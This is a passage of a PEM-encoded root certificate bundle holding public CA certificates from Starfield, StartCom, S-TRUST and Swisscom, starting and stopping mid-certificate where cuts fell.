Y2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg
nLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1
HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N
Hwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN
dloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0
HZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO
BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G
CSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU
sHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3
4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg
8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K
pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1
mMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMx
EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT
HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVs
ZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5
MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNVBAYTAlVTMRAwDgYD
VQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFy
ZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2Vy
dmljZXMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20p
OsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm2
8xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4PahHQUw2eeBGg6345AWh1K
Ts9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLPLJGmpufe
hRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk
6mFBrMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAw
DwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+q
AdcwKziIorhtSpzyEZGDMA0GCSqGSIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMI
bw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPPE95Dz+I0swSdHynVv/heyNXB
ve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTyxQGjhdByPq1z
qwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd
iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn
0q23KXB56jzaYyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCN
sSi6
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIHhzCCBW+gAwIBAgIBLTANBgkqhkiG9w0BAQsFADB9MQswCQYDVQQGEwJJTDEW
MBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwg
Q2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0NjM3WhcNMzYwOTE3MTk0NjM2WjB9
MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi
U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMgU3Rh
cnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUA
A4ICDwAwggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZk
pMyONvg45iPwbm2xPN1yo4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rf
OQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/C
Ji/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/deMotHweXMAEtcnn6RtYT
Kqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt2PZE4XNi
HzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMM
Av+Z6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w
+2OqqGwaVLRcJXrJosmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+
Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3
Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVcUjyJthkqcwEKDwOzEmDyei+B
26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT37uMdBNSSwID
AQABo4ICEDCCAgwwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD
VR0OBBYEFE4L7xqkQFulF2mHMMo0aEPQQa7yMB8GA1UdIwQYMBaAFE4L7xqkQFul
F2mHMMo0aEPQQa7yMIIBWgYDVR0gBIIBUTCCAU0wggFJBgsrBgEEAYG1NwEBATCC
ATgwLgYIKwYBBQUHAgEWImh0dHA6Ly93d3cuc3RhcnRzc2wuY29tL3BvbGljeS5w
ZGYwNAYIKwYBBQUHAgEWKGh0dHA6Ly93d3cuc3RhcnRzc2wuY29tL2ludGVybWVk
aWF0ZS5wZGYwgc8GCCsGAQUFBwICMIHCMCcWIFN0YXJ0IENvbW1lcmNpYWwgKFN0
YXJ0Q29tKSBMdGQuMAMCAQEagZZMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUg
c2VjdGlvbiAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0
aWZpY2F0aW9uIEF1dGhvcml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly93
d3cuc3RhcnRzc2wuY29tL3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgG
CWCGSAGG+EIBDQQrFilTdGFydENvbSBGcmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1
dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAgEAjo/n3JR5fPGFf59Jb2vKXfuM/gTF
wWLRfUKKvFO3lANmMD+x5wqnUCBVJX92ehQN6wQOQOY+2IirByeDqXWmN3PH/UvS
Ta0XQMhGvjt/UfzDtgUx3M2FIk5xt/JxXrAaxrqTi3iSSoX4eA+D/i+tLPfkpLst
0OcNOrg+zvZ49q5HJMqjNTbOx8aHmNrs++myziebiMMEofYLWWivydsQD032ZGNc
pRJvkrKTlMeIFw6Ttn5ii5B/q06f/ON1FE8qMt9bDeD1e5MNq6HPh+GlBEXoPBKl
CcWw0bdT82AUuoVpaiF8H3VhFyAXe2w7QSlc4axa0c2Mm+tgHRns9+Ww2vl5GKVF
P0lDV9LdJNUso/2RjSe15esUBppMeyG7Oq0wBhjA2MFrLH9ZXF2RsXAiV+uKa0hK
1Q8p7MZAwC+ITGgBF3f0JBlPvfrhsiAhS90a2Cl9qrjeVOwhVYBsHvUwyKMQ5bLm
KhQxw4UtjJixhlpPiVktucf3HMiKf8CdBUrmQk9io20ppB+Fq9vlgcitKj1MXVuE
JnHEhV5xJMqlG2zYYdMa4FTbzrqpMrUi9nNBCV24F10OD5mQ1kfabwo6YigUZ4LZ
8dCAWZvLMdibD4x3TrVoivJs9iQOLWxwxXPR3hTQcY+203sC9uO41Alua551hDnm
fyWl8kgAwKQB2j8=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFYzCCA0ugAwIBAgIBOzANBgkqhkiG9w0BAQsFADBTMQswCQYDVQQGEwJJTDEW
MBQGA1UEChMNU3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlm
aWNhdGlvbiBBdXRob3JpdHkgRzIwHhcNMTAwMTAxMDEwMDAxWhcNMzkxMjMxMjM1
OTAxWjBTMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjEsMCoG
A1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgRzIwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2iTZbB7cgNr2Cu+EWIAOVeq8Oo1XJ
JZlKxdBWQYeQTSFgpBSHO839sj60ZwNq7eEPS8CRhXBF4EKe3ikj1AENoBB5uNsD
vfOpL9HG4A/LnooUCri99lZi8cVytjIl2bLzvWXFDSxu1ZJvGIsAQRSCb0AgJnoo
D/Uefyf3lLE3PbfHkffiAez9lInhzG7TNtYKGXmu1zSCZf98Qru23QumNK9LYP5/
Q0kGi4xDuFby2X8hQxfqp0iVAXV16iulQ5XqFYSdCI0mblWbq9zSOdIxHWDirMxW
RST1HFSr7obdljKF+ExP6JV2tgXdNiNnvP8V4so75qbsO+wmETRIjfaAKxojAuuK
HDp2KntWFhxyKrOq42ClAJ8Em+JvHhRYW6Vsi1g8w7pOOlz34ZYrPu8HvKTlXcxN
nw3h3Kq74W4a7I/htkxNeXJdFzULHdfBR9qWJODQcqhaX2YtENwvKhOuJv4KHBnM
0D4LnMgJLvlblnpHnOl68wVQdJVznjAJ85eCXuaPOQgeWeU1FEIT/wCc976qUM/i
UUjXuG+v+E5+M5iSFGI6dWPPe/regjupuznixL0sAA7IF6wT700ljtizkC+p2il9
Ha90OrInwMEePnWjFqmveiJdnxMaz6eg6+OGCtP95paV1yPIN93EfKo2rJgaErHg
TuixO/XWb/Ew1wIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQE
AwIBBjAdBgNVHQ4EFgQUS8W0QGutHLOlHGVuRjaJhwUMDrYwDQYJKoZIhvcNAQEL
BQADggIBAHNXPyzVlTJ+N9uWkusZXn5T50HsEbZH77Xe7XRcxfGOSeD8bpkTzZ+K
2s06Ctg6Wgk/XzTQLwPSZh0avZyQN8gMjgdalEVGKua+etqhqaRpEpKwfTbURIfX
UfEpY9Z1zRbkJ4kd+MIySP3bmdCPX1R0zKxnNBFi2QwKN4fRoxdIjtIXHfbX/dtl
6/2o1PXWT6RbdejF0mCy2wl+JYt7ulKSnj7oxXehPOBKc2thz4bcQ///If4jXSRK
9dNtD2IEBVeC2m6kMyV5Sy5UGYvMLD0w6dEG/+gyRr61M3Z3qAFdlsHB1b6uJcDJ
HgoJIIihDsnzb02CVAAgp9KP5DlUFy6NHrgbuxu9mk47EDTcnIhT76IxW1hPkWLI
wpqazRVdOKnWvvgTtZ8SafJQYqz7Fzf07rh1Z2AQ+4NQ+US1dZxAF7L+/XldblhY
XzD8AK6vM8EOTmy6p6ahfzLbOOCxchcKK5HsamMm7YnUeMx0HgX4a/6ManY5Ka5l
IxKVCCIcl85bBu4M4ru8H0ST9tg4RQUh7eStqxK2A6RCLi3ECToDZ2mEmuFZkIoo
hdVddLHRDiBYmxOlsGOm7XtH/UVVMKTumtTm4ofvmMkyghEpIrwACjFeLQ/Ajulr
so8uBtjRkcfGEvRM/TAXw8HaOFvjqermobp573PYtlNXLfbQ4ddI
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEezCCA2OgAwIBAgIQNxkY5lNUfBq1uMtZWts1tzANBgkqhkiG9w0BAQUFADCB
rjELMAkGA1UEBhMCREUxIDAeBgNVBAgTF0JhZGVuLVd1ZXJ0dGVtYmVyZyAoQlcp
MRIwEAYDVQQHEwlTdHV0dGdhcnQxKTAnBgNVBAoTIERldXRzY2hlciBTcGFya2Fz
c2VuIFZlcmxhZyBHbWJIMT4wPAYDVQQDEzVTLVRSVVNUIEF1dGhlbnRpY2F0aW9u
IGFuZCBFbmNyeXB0aW9uIFJvb3QgQ0EgMjAwNTpQTjAeFw0wNTA2MjIwMDAwMDBa
Fw0zMDA2MjEyMzU5NTlaMIGuMQswCQYDVQQGEwJERTEgMB4GA1UECBMXQmFkZW4t
V3VlcnR0ZW1iZXJnIChCVykxEjAQBgNVBAcTCVN0dXR0Z2FydDEpMCcGA1UEChMg
RGV1dHNjaGVyIFNwYXJrYXNzZW4gVmVybGFnIEdtYkgxPjA8BgNVBAMTNVMtVFJV
U1QgQXV0aGVudGljYXRpb24gYW5kIEVuY3J5cHRpb24gUm9vdCBDQSAyMDA1OlBO
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2bVKwdMz6tNGs9HiTNL1
toPQb9UY6ZOvJ44TzbUlNlA0EmQpoVXhOmCTnijJ4/Ob4QSwI7+Vio5bG0F/WsPo
TUzVJBY+h0jUJ67m91MduwwA7z5hca2/OnpYH5Q9XIHV1W/fuJvS9eXLg3KSwlOy
ggLrra1fFi2SU3bxibYs9cEv4KdKb6AwajLrmnQDaHgTncovmwsdvs91DSaXm8f1
XgqfeN+zvOyauu9VjxuapgdjKRdZYgkqeQd3peDRF2npW932kKvimAoA0SVtnteF
hy+S8dF2g08LOlk3KC8zpxdQ1iALCvQm+Z845y2kuJuJja2tyWp9iRe79n+Ag3rm
7QIDAQABo4GSMIGPMBIGA1UdEwEB/wQIMAYBAf8CAQAwDgYDVR0PAQH/BAQDAgEG
MCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTVFJvbmxpbmUxLTIwNDgtNTAdBgNV
HQ4EFgQUD8oeXHngovMpttKFswtKtWXsa1IwHwYDVR0jBBgwFoAUD8oeXHngovMp
ttKFswtKtWXsa1IwDQYJKoZIhvcNAQEFBQADggEBAK8B8O0ZPCjoTVy7pWMciDMD
pwCHpB8gq9Yc4wYfl35UvbfRssnV2oDsF9eK9XvCAPbpEW+EoFolMeKJ+aQAPzFo
LtU96G7m1R08P7K9n3frndOMusDXtk3sU5wPBG7qNWdX4wple5A64U8+wwCSersF
iXOMy6ZNwPv2AtawB6MDwidAnwzkhYItr5pCHdDHjfhA7p0GVxzZotiAFP7hYy0y
h9WUUpY6RsZxlj33mA6ykaqP2vROJAA5VeitF7nTNCtKqUDMFypVZUF0Qn71wK/I
k63yGFs9iQzbRzkk+OBM8h+wPQrKBU6JIRrjKpms/H+h8Q8bHz2eBIPdltkdOpQ=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID2DCCAsCgAwIBAgIQYFbFSyNAW2TU7SXa2dYeHjANBgkqhkiG9w0BAQsFADCB
hTELMAkGA1UEBhMCREUxKTAnBgNVBAoTIERldXRzY2hlciBTcGFya2Fzc2VuIFZl
cmxhZyBHbWJIMScwJQYDVQQLEx5TLVRSVVNUIENlcnRpZmljYXRpb24gU2Vydmlj
ZXMxIjAgBgNVBAMTGVMtVFJVU1QgVW5pdmVyc2FsIFJvb3QgQ0EwHhcNMTMxMDIy
MDAwMDAwWhcNMzgxMDIxMjM1OTU5WjCBhTELMAkGA1UEBhMCREUxKTAnBgNVBAoT
IERldXRzY2hlciBTcGFya2Fzc2VuIFZlcmxhZyBHbWJIMScwJQYDVQQLEx5TLVRS
VVNUIENlcnRpZmljYXRpb24gU2VydmljZXMxIjAgBgNVBAMTGVMtVFJVU1QgVW5p
dmVyc2FsIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCo
4wvfETeFgpq1bGZ8YT/ARxodRuOwVWTluII5KAd+F//0m4rwkYHqOD8heGxI7Gsv
otOKcrKn19nqf7TASWswJYmM67fVQGGY4tw8IJLNZUpynxqOjPolFb/zIYMoDYuv
WRGCQ1ybTSVRf1gYY2A7s7WKi1hjN0hIkETCQN1d90NpKZhcEmVeq5CSS2bf1XUS
U1QYpt6K1rtXAzlZmRgFDPn9FcaQZEYXgtfCSkE9/QC+V3IYlHcbU1qJAfYzcg6T
OtzoHv0FBda8c+CI3KtP7LUYhk95hA5IKmYq3TLIeGXIC51YAQVx7YH1aBduyw20
S9ih7K446xxYL6FlAzQvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMB0GA1UdDgQWBBSafdfr639UmEUptCCrbQuWIxmkwjANBgkqhkiG
9w0BAQsFAAOCAQEATpYS2353XpInniEXGIJ22D+8pQkEZoiJrdtVszNqxmXEj03z
MjbceQSWqXcy0Zf1GGuMuu3OEdBEx5LxtESO7YhSSJ7V/Vn4ox5R+wFS5V/let2q
JE8ii912RvaloA812MoPmLkwXSBvwoEevb3A/hXTOCoJk5gnG5N70Cs0XmilFU/R
UsOgyqCDRR319bdZc11ZAY+qwkcvFHHVKeMQtUeTJcwjKdq3ctiR1OwbSIoi5MEq
9zpok59FGW5Dt8z+uJGaYRo2aWNkkijzb2GShROfyQcsi1fc65551cLeCNVUsldO
KjKNoeI60RAgIjl9NEVvcTvDHfz/sk+o4vYwHg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIF2TCCA8GgAwIBAgIQXAuFXAvnWUHfV8w/f52oNjANBgkqhkiG9w0BAQUFADBk
MQswCQYDVQQGEwJjaDERMA8GA1UEChMIU3dpc3Njb20xJTAjBgNVBAsTHERpZ2l0
YWwgQ2VydGlmaWNhdGUgU2VydmljZXMxGzAZBgNVBAMTElN3aXNzY29tIFJvb3Qg
Q0EgMTAeFw0wNTA4MTgxMjA2MjBaFw0yNTA4MTgyMjA2MjBaMGQxCzAJBgNVBAYT
AmNoMREwDwYDVQQKEwhTd2lzc2NvbTElMCMGA1UECxMcRGlnaXRhbCBDZXJ0aWZp
Y2F0ZSBTZXJ2aWNlczEbMBkGA1UEAxMSU3dpc3Njb20gUm9vdCBDQSAxMIICIjAN
BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0LmwqAzZuz8h+BvVM5OAFmUgdbI9
m2BtRsiMMW8Xw/qabFbtPMWRV8PNq5ZJkCoZSx6jbVfd8StiKHVFXqrWW/oLJdih
FvkcxC7mlSpnzNApbjyFNDhhSbEAn9Y6cV9Nbc5fuankiX9qUvrKm/LcqfmdmUc/
TilftKaNXXsLmREDA/7n29uj/x2lzZAeAR81sH8A25Bvxn570e56eqeqDFdvpG3F
EzuwpdntMhy0XmeLVNxzh+XTF3xmUHJd1BpYwdnP2IkCb6dJtDZd0KTeByy2dbco
kdaXvij1mB7qWybJvbCXc9qukSbraMH5ORXWZ0sKbU/Lz7DkQnGMU3nn7uHbHaBu
HYwadzVcFh4rUx80i9Fs/PJnB3r1re3WmquhsUvhzDdf/X/NTa64H5xD+SpYVUNF
vJbNcA78yeNmuk6NO4HLFWR7uZToXTNShXEuT46iBhFRyePLoW4xCGQMwtI89Tbo
19AOeCMgkckkKmUpWyL3Ic6DXqTz3kvTaI9GdVyDCW4pa8RwjPWd1yAv/0bSKzjC
L3UcPX7ape8eYIVpQtPM+GP+HkM5haa2Y0EQs3MevNP6yn0WR+Kn1dCjigoIlmJW
bjTb2QK5MHXjBNLnj8KwEUAKrNVxAmKLMb7dxiNYMUJDLXT5xp6mig/p/r+D5kNX
JLrvRjSq1xIBOO0CAwEAAaOBhjCBgzAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0hBBYw
FDASBgdghXQBUwABBgdghXQBUwABMBIGA1UdEwEB/wQIMAYBAf8CAQcwHwYDVR0j
BBgwFoAUAyUv3m+CATpcLNwroWm1Z9SM0/0wHQYDVR0OBBYEFAMlL95vggE6XCzc
K6FptWfUjNP9MA0GCSqGSIb3DQEBBQUAA4ICAQA1EMvspgQNDQ/NwNurqPKIlwzf
ky9NfEBWMXrrpA9gzXrzvsMnjgM+pN0S734edAY8PzHyHHuRMSG08NBsl9Tpl7Ik
Vh5WwzW9iAUPWxAaZOHHgjD5Mq2eUCzneAXQMbFamIp1TpBcahQq4FJHgmDmHtqB
sfsUC1rxn9KVuj7QG9YVHaO+htXbD8BJZLsuUBlL0iT43R4HVtA4oJVwIHaM190e
3p9xxCPvgxNcoyQVTSlAPGrEqdi3pkSlDfTgnXceQHAm/NrZNuR55LU/vJtlvrsR
ls/bxig5OgjOR1tTWsWZ/l2p3e9M1MalrQLmjAcSHm8D0W+go/MpvRLHUKKwf4ip
mXeascClOS5cfGniLLDqN2qk4Vrh9VDlg++luyqI54zb/W1elxmofmZ1a3Hqv7HH
b6D0jqTsNFFbjCYDcKF31QESVwA12yPeDooomf2xEG9L/zgtYE4snOtnta1J7ksf
rK/7DZBaZmBwXarNeNQk7shBoJMBkpxqnvy5JMWzFYJ+vq6VK+uxwNrjAWALXmms
hFZhvnEX/h0TD/7Gh0Xp/jKgGg0TpJRVcaUWi7rKibCyx/yP2FS1k2Kdzs9Z+z0Y
zirLNRWCXf9UIltxUvu3yf5gmwBBZPCqKuy2QkPOiWaByIufOVQDJdMWNY6E0F/6
MBr1mmz0DlP5OlvRHA==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIF2TCCA8GgAwIBAgIQHp4o6Ejy5e/DfEoeWhhntjANBgkqhkiG9w0BAQsFADBk
MQswCQYDVQQGEwJjaDERMA8GA1UEChMIU3dpc3Njb20xJTAjBgNVBAsTHERpZ2l0
YWwgQ2VydGlmaWNhdGUgU2VydmljZXMxGzAZBgNVBAMTElN3aXNzY29tIFJvb3Qg
Q0EgMjAeFw0xMTA2MjQwODM4MTRaFw0zMTA2MjUwNzM4MTRaMGQxCzAJBgNVBAYT
AmNoMREwDwYDVQQKEwhTd2lzc2NvbTElMCMGA1UECxMcRGlnaXRhbCBDZXJ0aWZp
Y2F0ZSBTZXJ2aWNlczEbMBkGA1UEAxMSU3dpc3Njb20gUm9vdCBDQSAyMIICIjAN
BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAlUJOhJ1R5tMJ6HJaI2nbeHCOFvEr
jw0DzpPMLgAIe6szjPTpQOYXTKueuEcUMncy3SgM3hhLX3af+Dk7/E6J2HzFZ++r
0rk0X2s682Q2zsKwzxNoysjL67XiPS4h3+os1OD5cJZM/2pYmLcX5BtS5X4HAB1f
2uY+lQS3aYg5oUFgJWFLlTloYhyxCwWJwDaCFCE/rtuh/bxvHGCGtlOUSbkrRsVP
ACu/obvLP+DHVxxX6NZp+MEkUp2IVd3Chy50I9AU/SpHWrumnf2U5NGKpV+GY3aF
y6//SSj8gO1MedK75MDvAe5QQQg1I3ArqRa0jG6F6bYRzzHdUyYb3y1aSgJA/MTA
tukxGggo5WDDH8SQjhBiYEQN7Aq+VRhxLKX0srwVYv8c474d2h5Xszx+zYIdkeNL
6yxSNLCK/RJOlrDrcH+eOfdmQrGrrFLadkBXeyq96G4DsguAhYidDMfCd7Camlf0
uPoTXGiTOmekl9AbmbeGMktg2M7v0Ax/lZ9vh0+Hio5fCHyqW/xavqGRn1V9TrAL
acywlKinh/LTSlDcX3KwFnUey7QYYpqwpzmqm59m2I2mbJYV4+by+PGDYmy7Velh
k6M99bFXi08jsJvllGov34zflVEpYKELKeRcVVi3qPyZ7iVNTA6z00yPhOgpD/0Q
VAKFyPnlw4vP5w8CAwEAAaOBhjCBgzAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0hBBYw
FDASBgdghXQBUwIBBgdghXQBUwIBMBIGA1UdEwEB/wQIMAYBAf8CAQcwHQYDVR0O
BBYEFE0mICKJS9PVpAqhb97iEoHF8TwuMB8GA1UdIwQYMBaAFE0mICKJS9PVpAqh
b97iEoHF8TwuMA0GCSqGSIb3DQEBCwUAA4ICAQAyCrKkG8t9voJXiblqf/P0wS4R
fbgZPnm3qKhyN2abGu2sEzsOv2LwnN+ee6FTSA5BesogpxcbtnjsQJHzQq0Qw1zv
/2BZf82Fo4s9SBwlAjxnffUy6S8w5X2lejjQ82YqZh6NM4OKb3xuqFp1mrjX2lhI
REeoTPpMSQpKwhI3qEAMw8jh0FcNlzKVxzqfl9NX+Ave5XLzo9v/tdhZsnPdTSpx
srpJ9csc1fV5yJmz/MFMdOO0vSk3FQQoHt5FRnDsr7p4DooqzgB53MBfGWcsa0vv
aGgLQ+OswWIJ76bdZWGgr4RVSJFSHMYlkSrQwSIjYVmvRRGFHQEkNI/Ps/8XciAT
woCqISxxOQ7Qj1zB09GOInJGTB2Wrk9xseEFKZZZ9LuedT3PDTcNYtsmjGOpI99n
Bjx8Oto0QuFmtEYE3saWmA9LSHokMnWRn6z3aOkquVVlzl1h0ydw2Df+n7mvoC5W
t6NlUe07qxS/TFED6F+KBZvuim6c779o+sjaC+NCydAXFJy3SuCvkychVSa1ZC+N
8f+mQAWFBVzKBxlcCxMoTFh/wqXvRdpg065lYZ1Tg3TCrvJcwhbtkj6EPnNgiLx2
9CzP0H1907he0ZESEOnN3col49XtmS++dYFLJPlFRpTJKSFTnCZFqhMX5OfNeOI5
wSsSnqaeG8XmDtkx2Q==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIF4DCCA8igAwIBAgIRAPL6ZOJ0Y9ON/RAdBB92ylgwDQYJKoZIhvcNAQELBQAw
ZzELMAkGA1UEBhMCY2gxETAPBgNVBAoTCFN3aXNzY29tMSUwIwYDVQQLExxEaWdp
dGFsIENlcnRpZmljYXRlIFNlcnZpY2VzMR4wHAYDVQQDExVTd2lzc2NvbSBSb290
IEVWIENBIDIwHhcNMTEwNjI0MDk0NTA4WhcNMzEwNjI1MDg0NTA4WjBnMQswCQYD
VQQGEwJjaDERMA8GA1UEChMIU3dpc3Njb20xJTAjBgNVBAsTHERpZ2l0YWwgQ2Vy
dGlmaWNhdGUgU2VydmljZXMxHjAcBgNVBAMTFVN3aXNzY29tIFJvb3QgRVYgQ0Eg
MjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMT3HS9X6lds93BdY7Bx
UglgRCgzo3pOCvrY6myLURYaVa5UJsTMRQdBTxB5f3HSek4/OE6zAMaVylvNwSqD
1ycfMQ4jFrclyxy0uYAyXhqdk/HoPGAsp15XGVhRXrwsVgu42O+LgrQ8uMIkqBPH
oCE2G3pXKSinLr9xJZDzRINpUKTk4RtiGZQJo/PDvO/0vezbE53PnUgJUmfANykR
HvvSEaeFGHR55E+FFOtSN+KxRdjMDUN/rhPSays/p8LiqG12W0OfvrSdsyaGOx9/
5fLoZigWJdBLlzin5M8J0TbDC77aO0RYjb7xnglrPvMyxyuHxuxenPaHZa0zKcQv
idm5y8kDnftslFGXEBuGCxobP/YCfnvUxVFkKJ3106yDgYjTdLRZncHrYTNaRdHL
OdAGalNgHa/2+2m8atwBz735j9m9W8E6X47aD0upm50qKGsaCnw8qyIL5XctcfaC
NYGu+HuB5ur+rPQam3Rc6I8k9l2dRsQs0h4rIWqDJ2dVSqTjyDKXZpBy2uPUZC5f
46Fq9mDU5zXNysRojddxyNMkM3OxbPlq4SjbX8Y96L5V5jcb7STZDxmPX2MYWFCB
UWVv8p9+agTnNCRxunZLWB4ZvRVgRaoMEkABnRDixzgHcgplwLa7JSnaFp6LNYth
7eVxV4O1PHGf40+/fh6Bn0GXAgMBAAGjgYYwgYMwDgYDVR0PAQH/BAQDAgGGMB0G
A1UdIQQWMBQwEgYHYIV0AVMCAgYHYIV0AVMCAjASBgNVHRMBAf8ECDAGAQH/AgED
MB0GA1UdDgQWBBRF2aWBbj2ITY1x0kbBbkUe88SAnTAfBgNVHSMEGDAWgBRF2aWB
bj2ITY1x0kbBbkUe88SAnTANBgkqhkiG9w0BAQsFAAOCAgEAlDpzBp9SSzBc1P6x
XCX5145v9Ydkn+0UjrgEjihLj6p7jjm02Vj2e6E1CqGdivdj5eu9OYLU43otb98T
PLr+flaYC/NUn81ETm484T4VvwYmneTwkLbUwp4wLh/vx3rEUMfqe9pQy3omywC0
Wqu1kx+AiYQElY2NfwmTv9SoqORjbdlk5LgpWgi/UOGED1V7XwgiG/W9mR4U9s70
WBCCswo9GcG/W6uqmdjyMb3lOGbcWAXH7WMaLgqXfIeTK7KK4/HsGOV1timH59yL
Gn602MnTihdsfSlEvoqq9X46Lmgxk7lq2prg2+kupYTNHAq4Sgj5nPFhJpiTt3tm
